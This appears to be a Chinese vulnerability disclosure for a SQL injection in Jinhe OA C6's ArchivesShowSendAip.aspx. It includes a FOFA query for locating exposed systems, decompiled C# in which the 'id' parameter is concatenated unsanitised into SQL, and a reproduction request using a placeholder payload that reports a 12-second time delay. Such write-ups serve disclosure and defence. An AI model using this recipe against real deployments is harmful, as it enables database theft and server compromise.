漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 ArchivesShowSendAip.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 ArchivesShowSendAip.aspx 的源码,在 bin 目录下查找 JHBase.Web.Archives.dll 将其进行反编译后找到 ArchivesShowSendAip 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
if (this.Request["id"] == null)
return;
this.strArchID = this.Request["id"].ToString();
string UserID = "";
if (this.Session["UserCode"] != null)
UserID = this.Session["UserCode"].ToString();
this.Depts = new Role(UserID, "IOA_ArchivesModify").GetRoleDepts();
if (this.Depts.Length > 0)
((HtmlControl) this.btnModify).Style.Add("display", "");
else
((HtmlControl) this.btnModify).Style.Add("display", "none");
this.strDeptList = new Role(UserID, "IOA_Distribute").GetRoleDepts();
this.ReadLocal();
this.GetList();
参数id被带入GetList方法
private void GetList()
{
DataTable archivesInfo = JHSoft.Archives.ArchivesDoc.getArchivesInfo(this.strArchID);
if (((InternalDataCollectionBase) archivesInfo.Rows).Count > 0)
跟进getArchivesInfo方法
public static DataTable getArchivesInfo(string archID)
{
Page page = new Page();
StringBuilder stringBuilder = new StringBuilder();
if (page.GroupConfig.IsUseGroup)
stringBuilder.Append("select ArchivesType,ArchivesTitle,[dbo].[fn_FromOuterDeptIDGetOuterSystemName](SubDeptID,ArchivesFrom) as ArchivesFrom,ArchivesKey,ArchivesWH,a.SecretID,SecretName,");
else
stringBuilder.Append("select ArchivesType,ArchivesTitle,ArchivesFrom,ArchivesKey,ArchivesWH,a.SecretID,SecretName,");
stringBuilder.Append("a.ExigenceID,ExigenceName,TypeName,ArchivesFs,ArchivesBH,DeptName,SubDate,UserName,");
stringBuilder.Append("ArchivesZsdw,ArchivesCsdw,ArchivesDate,ArchivesMan,ArchivesFj,FileName,ArchivesSource,DossID,");
stringBuilder.Append("ArchivesGD,Field1,Field2,Field3,Field4,Field5,Field6,Field7,Field8,Field9,Field0,SubTime,AskMoney,DocID ");
stringBuilder.Append("FROM Archives a left join Secret s on a.SecretID=s.SecretID ");
stringBuilder.Append($"left join Exigence e on e.ExigenceID=a.ExigenceId where ArchivesID='{archID}'");
return DBOperatorFactory.GetDBOperator().ExecSQLReDataTable(stringBuilder.ToString());
}
至此,就非常明了了,参数均是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。
漏洞复现
GET /c6/Jhsoft.Web.Archives/ArchivesShowSendAip.aspx/?id=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 12 秒

